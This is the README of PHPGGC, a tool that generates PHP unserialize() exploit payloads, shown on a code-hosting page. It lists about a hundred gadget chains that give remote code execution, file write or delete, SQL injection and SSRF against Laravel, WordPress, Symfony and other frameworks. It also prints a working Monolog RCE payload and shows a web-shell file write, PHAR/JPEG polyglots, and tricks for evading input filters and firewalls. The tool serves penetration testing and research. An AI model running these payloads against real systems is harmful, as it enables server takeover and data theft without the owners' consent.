Codebase list phpggc / cbdd60fb-fde3-45ba-b208-98da4dcb3a94/upstream/0.20221129 README.md
cbdd60fb-fde3-45ba-b208-98da4dcb3a94/upstream/0.20221129

Tree @cbdd60fb-fde3-45ba-b208-98da4dcb3a94/upstream/0.20221129 (Download .tar.gz)

README.md @cbdd60fb-fde3-45ba-b208-98da4dcb3a94/upstream/0.20221129

16028c9
 
 
 
a334346
16028c9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
19784b1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
a334346
 
 
 
 
 
 
 
 
 
c98a39a
 
 
 
 
 
 
 
 
 
 
16028c9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
c98a39a
 
 
16028c9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
a334346
16028c9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
c98a39a
16028c9
 
 
 
c98a39a
 
 
 
 
 
 
 
16028c9
 
 
c98a39a
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
16028c9
c98a39a
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
16028c9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
c98a39a
16028c9
 
 
 
 
 
 
 
 
 
c98a39a
a334346
 
 
 
16028c9
 
 
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
# PHPGGC: PHP Generic Gadget Chains

*PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically*.
When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of [frohoff's ysoserial](https://github.com/frohoff/ysoserial), but for PHP.
Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.


## Requirements

PHP >= 5.6 is required to run PHPGGC.


## Usage

Run `./phpggc -l` to obtain a list of gadget chains:

```
$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+                                 RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
Dompdf/FD2                                ? < 1.1.1                                            File delete            __destruct     *    
Drupal7/FD1                               7.0 < ?                                              File delete            __destruct     *    
Drupal7/RCE1                              7.0.8 < ?                                            RCE (Function call)    __destruct     *    
Guzzle/FW1                                6.0.0 <= 6.3.3+                                      File write             __destruct          
Guzzle/INFO1                              6.0.0 <= 6.3.2                                       phpinfo()              __destruct     *    
Guzzle/RCE1                               6.0.0 <= 6.3.2                                       RCE (Function call)    __destruct     *    
Horde/RCE1                                <= 5.2.22                                            RCE (PHP code)         __destruct     *    
Kohana/FR1                                3.*                                                  File read              __toString     *    
Laminas/FD1                               <= 2.11.2                                            File delete            __destruct          
Laminas/FW1                               2.8.0 <= 3.0.x-dev                                   File write             __destruct     *    
Laravel/RCE1                              5.4.27                                               RCE (Function call)    __destruct          
Laravel/RCE2                              5.4.0 <= 8.6.9+                                      RCE (Function call)    __destruct          
Laravel/RCE3                              5.5.0 <= 5.8.35                                      RCE (Function call)    __destruct     *    
Laravel/RCE4                              5.4.0 <= 8.6.9+                                      RCE (Function call)    __destruct          
Laravel/RCE5                              5.8.30                                               RCE (PHP code)         __destruct     *    
Laravel/RCE6                              5.5.* <= 5.8.35                                      RCE (PHP code)         __destruct     *    
Laravel/RCE7                              ? <= 8.16.1                                          RCE (Function call)    __destruct     *    
Laravel/RCE8                              7.0.0 <= 8.6.9+                                      RCE (Function call)    __destruct     *    
Laravel/RCE9                              5.4.0 <= 9.1.8+                                      RCE (Function call)    __destruct          
Laravel/RCE10                             5.6.0 <= 9.1.8+                                      RCE (Function call)    __toString          
Laravel/RCE11                             5.4.0 <= 9.1.8+                                      RCE (Function call)    __destruct          
Laravel/RCE12                             5.8.35, 7.0.0, 9.3.10                                RCE (Function call)    __destruct     *    
Magento/FW1                               ? <= 1.9.4.0                                         File write             __destruct     *    
Magento/SQLI1                             ? <= 1.9.4.0                                         SQL injection          __destruct          
Magento2/FD1                              *                                                    File delete            __destruct     *    
Monolog/FW1                               3.0.0 <= 3.1.0+                                      File write             __destruct     *    
Monolog/RCE1                              1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+                      RCE (Function call)    __destruct          
Monolog/RCE2                              1.4.1 <= 2.7.0+                                      RCE (Function call)    __destruct          
Monolog/RCE3                              1.1.0 <= 1.10.0                                      RCE (Function call)    __destruct          
Monolog/RCE4                              ? <= 2.4.4+                                          RCE (Command)          __destruct     *    
Monolog/RCE5                              1.25 <= 2.7.0+                                       RCE (Function call)    __destruct          
Monolog/RCE6                              1.10.0 <= 2.7.0+                                     RCE (Function call)    __destruct          
Monolog/RCE7                              1.10.0 <= 2.7.0+                                     RCE (Function call)    __destruct     *    
Monolog/RCE8                              3.0.0 <= 3.1.0+                                      RCE (Function call)    __destruct     *    
Monolog/RCE9                              3.0.0 <= 3.1.0+                                      RCE (Function call)    __destruct     *    
Phalcon/RCE1                              <= 1.2.2                                             RCE                    __wakeup       *    
PHPCSFixer/FD1                            <= 2.17.3                                            File delete            __destruct          
PHPCSFixer/FD2                            <= 2.17.3                                            File delete            __destruct          
PHPExcel/FD1                              1.8.2+                                               File delete            __destruct          
PHPExcel/FD2                              <= 1.8.1                                             File delete            __destruct          
PHPExcel/FD3                              1.8.2+                                               File delete            __destruct          
PHPExcel/FD4                              <= 1.8.1                                             File delete            __destruct          
PHPSecLib/RCE1                            2.0.0 <= 2.0.34                                      RCE (PHP code)         __destruct     *    
Pydio/Guzzle/RCE1                         < 8.2.2                                              RCE (Function call)    __toString          
Slim/RCE1                                 3.8.1                                                RCE (Function call)    __toString          
Smarty/FD1                                ?                                                    File delete            __destruct          
Smarty/SSRF1                              ?                                                    SSRF                   __destruct     *    
Spiral/RCE1                               2.7.0 <= 2.8.13                                      RCE (Function call)    __destruct          
Spiral/RCE2                               -2.8+                                                RCE (Function call)    __destruct     *    
SwiftMailer/FD1                           -5.4.12+, -6.2.1+                                    File delete            __destruct          
SwiftMailer/FW1                           5.1.0 <= 5.4.8                                       File write             __toString          
SwiftMailer/FW2                           6.0.0 <= 6.0.1                                       File write             __toString          
SwiftMailer/FW3                           5.0.1                                                File write             __toString          
SwiftMailer/FW4                           4.0.0 <= ?                                           File write             __destruct          
Symfony/FW1                               2.5.2                                                File write             DebugImport    *    
Symfony/FW2                               3.4                                                  File write             __destruct          
Symfony/RCE1                              3.3                                                  RCE (Command)          __destruct     *    
Symfony/RCE2                              2.3.42 < 2.6                                         RCE (PHP code)         __destruct     *    
Symfony/RCE3                              2.6 <= 2.8.32                                        RCE (PHP code)         __destruct     *    
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7                          RCE (Function call)    __destruct     *    
Symfony/RCE5                              5.2.*                                                RCE (Function call)    __destruct          
Symfony/RCE6                              v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13    RCE (Command)          __destruct     *    
TCPDF/FD1                                 <= 6.3.5                                             File delete            __destruct     *    
ThinkPHP/FW1                              5.0.4-5.0.24                                         File write             __destruct     *    
ThinkPHP/FW2                              5.0.0-5.0.03                                         File write             __destruct     *    
ThinkPHP/RCE1                             5.1.x-5.2.x                                          RCE (Function call)    __destruct     *    
ThinkPHP/RCE2                             5.0.24                                               RCE (Function call)    __destruct     *    
Typo3/FD1                                 4.5.35 <= 10.4.1                                     File delete            __destruct     *    
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2                                  RCE (Function call)    __destruct     *    
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2                          RCE (Function call)    __destruct     *    
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2                         RCE (Function call)    __toString     *    
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2                         RCE (Function call)    __destruct     *    
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2                           RCE (Function call)    __destruct     *    
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2                           RCE (Function call)    __destruct     *    
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2                         RCE (Function call)    __destruct     *    
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2                                RCE (Function call)    __destruct     *    
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2                              RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2                                  RCE (Function call)    __toString     *    
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2                                RCE (Function call)    __toString     *    
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2                                  RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2                                RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2                                  RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2                                RCE (Function call)    __destruct     *    
Yii/RCE1                                  1.1.20                                               RCE (Function call)    __wakeup       *    
Yii2/RCE1                                 <2.0.38                                              RCE (Function call)    __destruct     *    
Yii2/RCE2                                 <2.0.38                                              RCE (PHP code)         __destruct     *    
ZendFramework/FD1                         ? <= 1.12.20                                         File delete            __destruct          
ZendFramework/RCE1                        ? <= 1.12.20                                         RCE (PHP code)         __destruct     *    
ZendFramework/RCE2                        1.11.12 <= 1.12.20                                   RCE (Function call)    __toString     *    
ZendFramework/RCE3                        2.0.1 <= ?                                           RCE (Function call)    __destruct          
ZendFramework/RCE4                        ? <= 1.12.20                                         RCE (PHP code)         __destruct     *    
ZendFramework/RCE5                        2.0.0rc2 <= 2.5.3                                    RCE (Function call)    __destruct
```

Filter gadget chains:

```
$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

```

Every gadget chain has:

- Name: Name of the framework/library
- Version: Version of the framework/library for which gadgets are for
- Type: Type of exploitation: RCE, File Write, File Read, Include...
- Vector: the vector to trigger the chain after the unserialize (`__destruct()`, `__toString()`, `offsetGet()`, ...)
- Informations: Other informations about the chain

Use `-i` to get detailed information about a chain:

```
$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>
```

Once you have selected a chain, run `./phpggc <gadget-chain> [parameters]` to obtain the payload.
For instance, to obtain a payload for Monolog, you'd do:

```
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
```

For a file write using SwiftMailer, you'd do:

```
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
```


## Wrapper

The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions:

- `process_parameters(array $parameters)`: Called right **before** `generate()`, allows to change parameters
- `process_object(object $object)`: Called right **before** `serialize()`, allows to change the object
- `process_serialized(string $serialized)`: Called right **after** `serialize()`, allows to change the serialized string

For instance, if the vulnerable code looks like this:

```php
<?php
$data = unserialize($_GET['data']);
print $data['message'];
```

You could use a `__toString()` chain, wrapping it like so:

```php
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}
```

And you'd call phpggc like so:

```
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
```


## PHAR(GGC)

### History

At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (`file_exists`, `fopen`, etc.). The paper is [here](https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf).

### Implementation

PHAR archives come in three different formats: **PHAR, TAR, and ZIP**. The three of them are supported by PHPGGC.
Polyglot files can be generated using `--phar-jpeg` (`-pj`). Other options are available (use `-h`).

### Examples

```
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
```


## Encoders

Arguments allow to modify the way the payload is output. For instance, `-u` will URL encode it, and `-b` will convert it to base64.
**Payloads often contain NULL bytes and cannot be copy/pasted as-is**. Use `-s` for a soft URL encode, which keeps the payload readable.

The encoders can be chained, and as such **the order is important**. For instance, `./phpggc -b -u -u slim/rce1 system id` will base64 the payload, then URLencode it twice.


## Advanced: Enhancements

### Fast destruct

PHPGGC implements a `--fast-destruct` (`-f`) flag, that will make sure your serialized object will be destroyed right after the `unserialize()` call, and not at the end of the script. **I'd recommend using it for every `__destruct` vector**, as it improves reliability. For instance, if PHP script raises an exception after the call, the `__destruct` method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.

```
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
```

### ASCII Strings

Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation:
`s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"A\00B\09\0D";`
This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values.
*Note: this is experimental and it might not work in some cases.*

### Armor Strings

Uses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation:
`s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"\41\00\42\09\0D";`
This comes handy when a firewall or PHP code blocks strings.
*Note: this is experimental and it might not work in some cases.*
*Note: this makes each string in the payload grow by a factor of 3.*

### Plus Numbers

Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols.
For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`.

### Testing your chain

To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option.

For instance, to test if `Monolog/RCE2` works on Symfony `4.x`:

```
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
```

The exit code will be `0` if the payload triggered, `1` otherwise.

### Testing your chain against every version of a package

If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`.

```
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘
```

# API

Instead of using PHPGGC as a command line tool, you can program PHP scripts:

```php
<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
```

This allows you to tweak the parameters or write exploits more easily.
*Note: This is pretty experimental at the moment, so please, report bugs*.


# Contributing

Pull requests are more than welcome. Please follow these simple guidelines:

- `__destruct()` is always the best vector
- Specify at least the version of the library you've built the payload on
- Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
- Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation.

Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_.
You can define pre- and post- processing methods, if parameters need to be modified.
Hopefully, the already implemented gadgets should be enough for you to build yours.
Otherwise, I'd be glad to answer your questions.

The `--new <framework> <type>` command-line option can be used to create the directory and file structure for a new gadget chain.
For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain.


# Docker

If you don't want to install PHP, you can use `docker build`.


# License

[Apache License 2.0](LICENSE)